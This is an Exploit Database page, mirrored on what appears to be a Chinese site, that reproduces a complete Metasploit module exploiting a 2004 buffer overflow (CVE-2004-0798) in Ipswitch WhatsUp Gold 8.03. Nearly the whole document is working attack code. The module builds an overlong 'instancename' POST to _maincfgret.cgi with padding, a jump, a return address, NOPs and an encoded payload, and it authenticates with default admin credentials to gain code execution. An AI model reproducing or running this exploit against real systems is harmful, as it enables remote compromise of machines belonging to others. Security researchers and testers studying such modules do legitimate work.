IPSwitch WhatsUp Gold 8.03 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 38 阅读

• 作者： Metasploit
  日期： 2010-07-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16787/

• ##
  # $Id: ipswitch_wug_maincfgret.rb 9820 2010-07-14 13:59:38Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	# [*] x.x.x.x WhatsUp_Gold/8.0 ( 401-Basic realm="WhatsUp Gold" )
  	HttpFingerprint = { :pattern => [ /WhatsUp/ ] }
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Ipswitch WhatsUp Gold 8.03 Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By
  				posting a long string for the value of 'instancename' in the _maincfgret.cgi
  				script an attacker can overflow a buffer and execute arbitrary code on the system.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9820 $',
  			'References' =>
  				[
  					['CVE', '2004-0798'],
  					['OSVDB', '9177'],
  					['BID', '11043'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'WhatsUP Gold 8.03 Universal', { 'Ret' => 0x6032e743 } ], # whatsup.dll
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Aug 25 2004'))
  
  		register_options(
  			[
  				Opt::RPORT(80),
  				OptString.new('HTTPUSER', [ false, 'The username to authenticate as', 'admin']),
  				OptString.new('HTTPPASS', [ false, 'The password to authenticate as', 'admin']),
  			], self.class )
  	end
  
  	def exploit
  		c = connect
  
  		num = rand(65535).to_s
  		user_pass = "#{datastore['HTTPUSER']}" + ":" + "#{datastore['HTTPPASS']}"
  
  		req = "page=notify&origname=&action=return&type=Beeper&instancename="
  		req<< rand_text_alpha_upper(811, payload_badchars) + "\xeb\x06"
  		req<< make_nops(2) + [target.ret].pack('V') + make_nops(10) + payload.encoded
  		req<< "&beepernumber=&upcode=" + num + "*&downcode="+ num + "*&trapcode=" + num + "*&end=end"
  
  		print_status("Trying target %s..." % target.name)
  		res = send_request_cgi({
  			'uri'=> '/_maincfgret.cgi',
  			'method' => 'POST',
  			'content-type' => 'application/x-www-form-urlencoded',
  			'data' => req,
  			'headers'=>
  			{
  				'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
  			}
  		}, 5)
  
  		handler
  	end
  
  end